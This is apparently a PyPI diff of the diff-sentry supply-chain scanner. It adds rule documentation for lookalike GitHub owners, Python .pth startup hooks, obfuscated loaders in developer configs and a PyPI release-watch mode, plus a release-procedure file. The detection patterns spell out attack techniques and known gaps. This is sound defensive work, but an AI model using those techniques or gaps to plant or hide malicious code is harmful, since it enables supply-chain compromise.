diff-sentry 0.8.0__tar.gz → 0.10.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.claude/rules/indicators.md +1 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.claude/rules/monitoring.md +10 -0
- diff_sentry-0.10.0/.claude/skills/release/SKILL.md +25 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.env.example +6 -6
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.github/workflows/ci.yml +13 -45
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.github/workflows/release.yml +9 -32
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/AGENTS.md +4 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/CHANGELOG.md +28 -1
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/PKG-INFO +7 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/README.md +5 -3
- diff_sentry-0.10.0/VENDOR.md +10 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/action.yml +6 -15
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/__init__.py +4 -12
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/actors.py +28 -67
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/assemble.py +5 -17
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/cli.py +87 -56
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/config.py +15 -43
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/dbutil.py +2 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/deep_classify.py +16 -38
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/detect.py +10 -28
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/emit.py +6 -16
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/fetch_tool.py +5 -15
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/hosts.py +16 -46
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/indicators.py +358 -787
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/ingest.py +26 -71
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/linewide.py +7 -26
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/normalize.py +21 -64
- diff_sentry-0.10.0/diff_sentry/releases.py +929 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/response.py +7 -21
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/rl_export.py +9 -28
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/rubric.py +16 -44
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/schema.py +21 -58
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/shelllex.py +20 -76
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/snapshot.py +8 -22
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/watch.py +41 -100
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/docs/how-it-works.md +1 -1
- diff_sentry-0.10.0/docs/release-watch.md +29 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/__init__.py +2 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/cli.py +6 -17
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/judge.py +14 -36
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/schema.py +4 -18
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/score.py +13 -34
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/taskset.py +5 -19
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/pyproject.toml +1 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/conftest.py +4 -10
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_boundary.py +2 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_cli.py +2 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_score.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/pyproject.toml +14 -35
- diff_sentry-0.10.0/studio/README.md +123 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/app.py +23 -78
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/iterations.py +17 -49
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/live.py +13 -48
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/mapper.py +11 -30
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/pyproject.toml +3 -12
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/app.js +12 -29
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/replay-core.js +5 -12
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/run-core.js +7 -22
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/style.css +8 -18
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/trajectory.js +3 -9
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/replay-core.test.js +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/run-core.test.js +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/static-contract.test.js +3 -7
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/test_app.py +8 -21
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/test_iterations.py +2 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/test_live.py +4 -13
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/test_mapper.py +4 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/tests/trajectory.test.js +1 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/conftest.py +5 -13
- diff_sentry-0.10.0/tests/oracle/__init__.py +6 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/oracle/grammar.py +7 -21
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/oracle/harness.py +7 -18
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/oracle/lexrunner.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/oracle/programs.py +2 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/oracle/runner.py +3 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_actors.py +7 -16
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_adversarial_input.py +13 -27
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_assemble.py +3 -6
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_campaign_replay.py +5 -11
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_cli.py +11 -30
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_cli_watch.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_config.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_deep_classify.py +1 -3
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_detect.py +3 -7
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_detection_quality.py +10 -22
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_dogfood_gate.py +1 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_emit.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_enclosure.py +5 -10
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_export.py +4 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_fetch_tool.py +1 -5
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_file_scope.py +2 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_file_structure.py +2 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_forward_offline.py +7 -17
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_gate_edges.py +1 -3
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_grounding.py +3 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_hosts.py +1 -3
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_incident_hackerbot_claw.py +7 -20
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_indicators.py +33 -62
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_ingest.py +2 -4
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_ingest_metadata.py +3 -7
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_injection_offline.py +5 -15
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_inline_exec_and_bidi.py +1 -3
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_linewide.py +11 -24
- diff_sentry-0.10.0/tests/test_lookalike_owner.py +243 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_metadata_rules.py +44 -97
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_oracle.py +10 -27
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_provenance.py +7 -18
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_python_loader.py +1 -5
- diff_sentry-0.10.0/tests/test_releases.py +763 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_response.py +3 -8
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_rubric.py +1 -3
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_shelllex.py +6 -13
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_snapshot.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_subscription.py +4 -9
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_watch.py +5 -11
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_watch_pool.py +1 -2
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/uv.lock +3 -1
- diff_sentry-0.8.0/.claude/skills/release/SKILL.md +0 -39
- diff_sentry-0.8.0/VENDOR.md +0 -16
- diff_sentry-0.8.0/studio/README.md +0 -209
- diff_sentry-0.8.0/tests/oracle/__init__.py +0 -11
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.claude/rules/detect-setup.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.claude/rules/handoff.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.claude/rules/rubric-and-eval.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.gitignore +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/.python-version +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/LICENSE +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/__main__.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/ci-and-workflows.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/concealment-and-provenance.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/developer-autorun.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/llm-directed-text.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/package-and-build-hooks.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/runtime-droppers-and-exfil.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/diff_sentry/skills/triage-a-change.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/docs/development.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/docs/limits.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/docs/watch.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/README.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/diff_sentry_eval/__main__.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/taskset.example.json +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_judge.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_schema.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/eval/tests/test_taskset.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/DESIGN.md +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/diff_sentry_studio/__init__.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/index.html +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/vendor/fonts/jetbrains-mono-400.woff2 +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/studio/static/vendor/fonts/jetbrains-mono-700.woff2 +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/__init__.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/corpus/change_corpus.json +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/corpus/hackerbot_claw_campaign.json +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/corpus/hackerbot_claw_incident.json +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/fixtures/known-malicious.diff +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_normalize.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_oracle_harness.py +0 -0
- {diff_sentry-0.8.0 → diff_sentry-0.10.0}/tests/test_schema.py +0 -0
|
@@ -132,6 +132,7 @@ A dev machine infected by a loader of the Contagious Interview / PolinRider fami
|
|
|
132
132
|
- **`binary-name-holds-text` is `high`**: a text patch under a font, image, archive or native-binary name, or added lines with no patch (a text diff too large to show). A real file of those formats has a NUL in its first bytes, so GitHub sends no patch and counts no lines. A Git LFS pointer is exempt only when its whole new side is pointer keys (`version` first, then `oid sha256:<64 hex>`, `size <n>`), so an update that rewrites only `oid` and `size` stays exempt and a script with a pointer line inside does not. `.svg` is text by nature and `.pdf` is often stored as text, so neither is on the list.
|
|
133
133
|
- **`obfuscated-dev-config` is `critical`**: `obfuscated-string-array` in the ADDED lines of a config a developer's tools execute (`eslint`, `vite`, `vitest`, `webpack`, `rollup`, `next`, `nuxt`, `tailwind`, `postcss`, `babel`, `jest`, `playwright`, `prettier`, `hardhat`, `commitlint`, `stylelint` configs and their `rc` files, `truffle-config`, `gatsby-*`, `.mocharc`, gulpfile, Gruntfile, `karma.conf`). Removing it is cleanup.
|
|
134
134
|
- **`python-startup-hook` is `high`**: a written `.pth` line that starts with `import` and a blank (the only lines `site` executes; the rest of a `.pth` is a list of paths), after an optional BOM, with each line of the patch split as `site` splits it (`str.splitlines`, so a lone CR or a form feed starts a line of its own); and any written line, or a rename, of a `sitecustomize` or `usercustomize` module or package. A `.pth` renamed without a change to its content shows no line and is a known gap. Python runs both at every start of an interpreter whose site-packages holds them, the litellm 1.107.0 wheels' trigger. The shims of packaging and instrumentation tools (virtualenv, setuptools' `distutils-precedence.pth`, coverage, OpenTelemetry's `sitecustomize.py`) are an accepted over-alert: they run code at every start too.
|
|
135
|
+
- **`lookalike-owner` is `critical` in a workflow or `action.yml` and `high` elsewhere**: a written GitHub owner where a change names one (a URL on `github.com`, the API's `repos/`, `raw.githubusercontent.com` or `ghcr.io`, any case; `uses:`, `gh repo clone`, `-R` / `--repo`, npm's `github:`; a YAML value under `repository:`, a key naming a repo or a source, or `default:`) that equals the repository's own once hyphens are dropped and is not it (GitHub owners ignore case, so a case difference is the same account). Never a bare `x/y` token: a Docker Hub namespace drops its org's hyphen (`nodered/node-red`) and a package directory often does too. No reading of the YAML around a reference decides its strength: in a workflow every hyphen lookalike is `critical` (each structural reading tried had a spelling that moved a checkout's own `repository:` below the floor), and a hyphenated organisation that writes its own Docker Hub namespace under a repo key there (`repository: nodered/node-red`) is an accepted over-alert. Outside a workflow a URL, `uses:`, a clone, `-R` and `github:` are `high`, and a key's value is `medium` (a chart's `image:` / `repository:`, a `DOCKER_REPO`, a `source_dir`). A value may follow tags and anchors in either order, a block scalar's indicator, a comment, a quote, and up to three blank or comment lines before a line of its own (a hunk's edge is never crossed); a line after an empty key at any indentation is read as its value, an accepted over-alert. A name keeps its strongest sighting, so a weak one first never hides a strong one after. An owner one edit away at six or more characters is `medium` too, since real sibling organisations sit one edit apart (`python`, `ipython`): it is evidence for the model stage, never a gate. Every reference is read; hits are bounded per class (50), so cheap hits in front never crowd out a strong one. Known gaps: an owner split across keys (`owner:` / `repo:`) or built by `format()`, a YAML alias (`repository: *src`), a value past more than three blank or comment lines or a key-line comment longer than 200 characters, a key that names neither a repo nor a source (`UPSTREAM:`), and a lookalike of an organisation the repository depends on rather than its own. litellm 1.107.0's private release workflow was pointed at `Berri-AI/litellm` by a commit force-pushed with an organisation owner's stolen token, after that token turned branch protection off. A workflow's `repository:` naming another owner is `foreign-checkout`, `medium`. The owner comes from the event's `repo` (never for a release) or, in the Action, `scan --repo` (default `GITHUB_REPOSITORY`); without one neither rule runs.
|
|
135
136
|
- **The token walks are bounded**: a comment never spans two hunks (the lines between them are unseen), and a `command`'s object is searched at most `_OBJECT_REACH` tokens each way, for at most `_MAX_RUN_ENTRIES` entries a file.
|
|
136
137
|
- **A structural hit's id carries its path** (`form=path`): the same setting in `tasks.json` and `settings.json` is two findings, not one deduped into the other.
|
|
137
138
|
- **`obfuscated-string-array` (`high`) runs everywhere**: javascript-obfuscator's rotation loop `while(!![])` with the push/shift rotation or 20 hex-indexed decoder calls. It needs no `_0x` names, which a mangled-name setting removes (`obfuscated-identifiers` still reads those). Hand-rewritten output (`while(!0)`) is a known gap.
|
|
@@ -42,3 +42,13 @@ paths:
|
|
|
42
42
|
- **Adding a fact:** capture it in `ingest.py` (best-effort: a failed call omits the key, unless the value feeds the digest, in which case mark the event incomplete instead of reporting "none"), put it in `provenance` (or a bounded event field), read it in `scan_provenance` / `scan_metadata` with a negative case, and keep it sub-floor unless it is standalone evidence. Replay the incident corpus.
|
|
43
43
|
- **Read-only means read-only.** `--stats` and `actor` open the state `mode=ro` (`open_versioned(read_only=True)`) and neither create, stamp, nor requeue anything. Only `serve` and `--once` call `recover()`, under the lock.
|
|
44
44
|
- **Terminal output is sanitized.** `format_dossier` replaces control characters; `_json_out` escapes the C1 range `json.dumps` leaves raw; URL and token parsing cut at the first control character. A string an attacker wrote must not be able to drive the operator's terminal.
|
|
45
|
+
|
|
46
|
+
## Release watch (`releases.py`, `release-watch`)
|
|
47
|
+
|
|
48
|
+
- **A release is a change.** `release_event` builds a `kind="release"` event (`repo` `pypi/<name>`, run id `pypi__<name>-<version>`, `-r<n>` for files added to a release later) whose files are the members of the new artifacts with content the previous release lacked, labelled `<kind>/<path>` (`wheel/cook.pth`, `sdist/pyproject.toml`), with a unified diff as the patch. It goes through `cli.screen`, so every text and file-structure rule reads it; never add a second scanning path for releases.
|
|
49
|
+
- **Release facts are host-side facts.** `scan_release` turns `event["release"]` into baseline hits beside `scan_provenance` in `cli._baseline_indicators`: `release-new-install-root` (medium), `release-new-dependency` (low), `release-attestation-dropped` (`high`: the previous release had attestations, all of its files or any, and these files have none), `release-publisher-changed` (`high`: a Trusted Publisher, as kind, repository, workflow, environment and a Google publisher's email, case-folded, that the previous release's attestations did not name; it names the repository whose workflow uploaded, not the source it built from, and needs an attested previous release; read from PyPI's provenance URL in the index, retried when PyPI does not serve it) and `release-publisher-lookalike` (`critical`: that publisher's owner differs from a previous one's only by hyphens), and what was not read, all `high`: `release-shadowed-member` (two members of one artifact install to one path, which pip resolves to the `.data` copy), `release-code-not-read` (a changed member that runs, by suffix or as a build file or script, and was not shown as text: too large, past the diff's 20,000 lines, past a text or patch budget, compiled bytecode, a source file declaring a coding it cannot be read in, and a native module whose name, without its ABI tag, the previous release did not have), and `release-not-fully-read` (an artifact not downloaded, not matching its sha256, not read to its end for any reason, or a comparison given up after five attempts, which is screened and alerts on its own). `scan_release_change` is `scan_change` with `release_scope`, which keeps the mention rules (`prompt-injection`, `codeowners-tamper`, `workflow-tamper`, `privileged-fork-trigger`, `ci-bypass`) at `medium` anywhere in a release: a package's files are read by the programs that import them, a package governs no repository, and a comment mentions these as readily as code. The workflow-content rules (`pwn-request`, `workflow-permission-escalation`) keep their severity in every file, a workflow file of the sdist included: wherever a package carries that content, its code or its build can push it into someone's repository (a worm's shape), and every narrower reading tried had a spelling that hid one. Package code that writes only a code-owners file is a known gap.
|
|
50
|
+
- **Artifacts are data.** Download only from `pypi.org` and `files.pythonhosted.org` over https, no redirects, each body checked against the index's sha256; read archives in memory, never extract, never install. Bounds: a download (`DS_RELEASE_MAX_ARTIFACT_MB`, 256), a release (1 GiB or four downloads), a zip's central directory (32 MiB: the largest of the size the end record states and the zip64 records whenever a locator sits before it, the one zipfile reads right before the locator and the one the locator names; never the member count, which zipfile ignores), members per artifact (50,000, a cut noted), decompressed bytes per artifact (256 MiB, counted by a capped stream so a tar header is bounded too), text kept per comparison (256 MiB), text per member (1 MiB; a larger one is compared by its sha256), patch text per event (16 MiB). A download PyPI does not serve is retried, never judged on part of a release.
|
|
51
|
+
- **Two passes.** The first reads digests only, to learn which members changed; the second keeps text for those and for the metadata alone, so a release of many platform wheels does not spend the text budget on what did not change. A Python source member is read as UTF-8 with replacement characters and its NULs kept, and, when its first two lines hold a `coding[:=]` declaration anywhere, also as that coding (resolved by `codecs.lookup` as CPython resolves it; a name of more than 200 characters is not resolved), both readings scanned (a `coding: utf-7` file hides its code from a UTF-8 read, and where CPython honours a declaration is not reproduced, so neither reading is left to the author); a declared coding that cannot be read is `release-code-not-read` (`site` runs a `.pth` line after a NUL line); any other member that is not UTF-8 is binary.
|
|
52
|
+
- **Paths are where pip puts them.** A wheel's `x.data/purelib/` and `platlib/` map to the site-packages root, `x.data/scripts/` to `{scripts}/`, `x.dist-info/` to `{dist-info}/`; an sdist member loses its top directory, and one at the root keeps its path (pip builds from the root when the members share no top directory). `RECORD`, `WHEEL` and `METADATA` of a wheel, and `PKG-INFO` and `*.egg-info/` of an sdist, are derived and not diffed; `Requires-Dist` is read from `METADATA`.
|
|
53
|
+
- **The previous release** is the highest version below the new one with a file that is not yanked; a pre-release is compared only when the new one is a pre-release too. Members are compared by content across all artifacts of a kind, so a payload in one platform's wheel shows.
|
|
54
|
+
- **State is per file.** First sight of a package (even an empty one) records every file as the baseline. After that, each file not yet recorded is judged with the other new files of its release, against the previous release, so a wheel uploaded after its release was judged, or added to an old release, is judged too. A file is recorded only after its comparison is screened, and the index's ETag only after every new file of it is: a watcher stopped mid-comparison judges the same files on its next pass. A failed comparison is retried on every pass (the ETag is not sent while one is pending), superseded when the files to judge change, and kept as `error` after five, with an alert that it was not compared. A `--check` runs under `...-check` and never stands in for the watcher's judgment. An alert the SIEM did not accept is re-sent from `screened/` a few per poll.
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: release
|
|
3
|
+
description: "Cut a diff-sentry release: bump the five version sites together, write the CHANGELOG entry, and publish the GitHub Release that ships PyPI + the Marketplace Action. Use when asked to release, bump the version, or tag vX.Y.Z."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# Cut a diff-sentry release
|
|
7
|
+
|
|
8
|
+
A release moves FIVE version sites together, plus a `CHANGELOG.md` entry:
|
|
9
|
+
|
|
10
|
+
1. `pyproject.toml` `[project].version`
|
|
11
|
+
2. `diff_sentry/__init__.py` `__version__`
|
|
12
|
+
3. `action.yml` `inputs.version.default` (decides which PyPI release a consumer's `uses: …@vX.Y.Z` installs)
|
|
13
|
+
4. `README.md` quickstart `uses: qazbnm456/diff-sentry@vX.Y.Z`
|
|
14
|
+
5. `uv.lock`, via `uv lock`
|
|
15
|
+
|
|
16
|
+
`release.yml` fails the build unless the tag, the built wheel's version, the installed `__version__`, and the `action.yml` default all agree, and it checks that the installed console script flags a known-malicious diff. Nothing gates the README `uses:` line: a stale one sends new adopters to the previous release, so check it by hand.
|
|
17
|
+
|
|
18
|
+
## Steps
|
|
19
|
+
|
|
20
|
+
1. Freeze the boundary: `git fetch --tags`, then `git log v<last>..HEAD` (the tag is made on GitHub when the release is published, so a clone has it only after a fetch). Every `feat:` / `fix:` / `deps:` commit inside it is a CHANGELOG candidate.
|
|
21
|
+
2. Write the `CHANGELOG.md` entry in the file's existing style: one sentence per user-visible outcome, breaking changes and required actions explicit, no debugging story. Put it through `/write` (release-notes mode) and the punctuation gate before step 4; it is the release notes, so it is outward copy.
|
|
22
|
+
3. Bump sites 1 to 4, run `uv lock`, then verify: `uv run pytest`, the eval suite (`uv run --package diff-sentry-eval --extra dev python -m pytest eval/tests`), `uvx ruff check .`.
|
|
23
|
+
4. Commit (`chore: release X.Y.Z`) and push to `main` once the user approves. CI's `consumer install path (PyPI)` job then goes RED on this commit, by design: it installs `action.yml`'s default version from PyPI, which does not exist until step 5. Every other job must be green before you continue.
|
|
24
|
+
5. Create a DRAFT release (`gh release create vX.Y.Z --draft --target <release sha> --title … --notes-file …`, notes = the CHANGELOG section). The user publishes it in the web UI with "Publish this Action to the GitHub Marketplace" ticked (the CLI cannot tick it). Publishing is what builds, verifies, and uploads to PyPI via Trusted Publishing, and the upload is irreversible.
|
|
25
|
+
6. After `release.yml` succeeds and PyPI's simple index lists the version (`curl -s -H "Accept: application/vnd.pypi.simple.v1+json" https://pypi.org/simple/diff-sentry/`; the index lags the upload by minutes, and a rerun before it lists the version fails to resolve), re-run the failed consumer-install job (`gh run rerun <ci run id> --failed`); green proves the published package installs and scans. The runner reads PyPI through another CDN edge, which can lag the index you checked by several minutes: a rerun that still cannot resolve the version is run again a few minutes later, not debugged.
|
|
@@ -12,8 +12,7 @@ DS_BASE_URL=https://your-openai-compatible-endpoint/v1
|
|
|
12
12
|
DS_API_KEY=sk-...
|
|
13
13
|
|
|
14
14
|
# --- OR: run planner + analyst on a Claude Pro/Max subscription (no API key) ---
|
|
15
|
-
# A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra).
|
|
16
|
-
# Each call is a pure completion: no tools, no filesystem, no settings leakage.
|
|
15
|
+
# A role with the `claude-agent-sdk/<id>` prefix runs on your Claude subscription through the Claude Agent SDK (`rlm_harness.ClaudeAgentLM`, the `subscription` extra). Each call is a pure completion: no tools, no filesystem, no settings leakage.
|
|
17
16
|
# Prerequisites:
|
|
18
17
|
# - `uv sync --extra subscription`
|
|
19
18
|
# - the Claude Code CLI installed and logged in (`claude` then /login, or `claude setup-token` and export CLAUDE_CODE_OAUTH_TOKEN)
|
|
@@ -38,11 +37,9 @@ DS_API_KEY=sk-...
|
|
|
38
37
|
# DS_CLASSIFIER_TIMEOUT=60 # seconds per call, a hard ceiling
|
|
39
38
|
# DS_CLASSIFIER_TRANSIENT_RETRIES=1 # re-sends after an endpoint error (not after an unusable reply)
|
|
40
39
|
# DS_CLASSIFIER_MAX_TOKENS=2048
|
|
41
|
-
# A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens.
|
|
42
|
-
# Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
|
|
40
|
+
# A reasoning model can think through the whole budget and answer nothing; the tool then says it stopped at max_tokens. Raising the cap alone can turn that into a timeout on a slow model; a thinking budget bounds both.
|
|
43
41
|
# Extra request parameters (JSON object, single-quoted) apply over the default temperature of 0.1.
|
|
44
|
-
# Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them).
|
|
45
|
-
# So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
|
|
42
|
+
# Model, messages, stream, n, timeout, max_tokens and max_completion_tokens are refused (the settings above own them). So is a key the OpenAI client does not take: a parameter only your server knows goes under extra_body.
|
|
46
43
|
# DS_CLASSIFIER_LM_KWARGS='{"temperature":1,"extra_body":{"thinking_token_budget":1024}}'
|
|
47
44
|
|
|
48
45
|
# --- RLM runtime ---
|
|
@@ -79,3 +76,6 @@ DS_API_KEY=sk-...
|
|
|
79
76
|
# DS_WATCH_MAX_DEEP_PER_HOUR=0 # 0 = unlimited model runs per hour
|
|
80
77
|
# DS_WATCH_WORKERS=1 # model runs at once; above 1, each in a process of its own
|
|
81
78
|
# DS_WATCH_RATE_RESERVE=200 # pause polling when the API's remaining budget falls below this
|
|
79
|
+
# DS_RELEASE_PACKAGES=litellm,requests # release-watch: PyPI projects (or --packages / --packages-file)
|
|
80
|
+
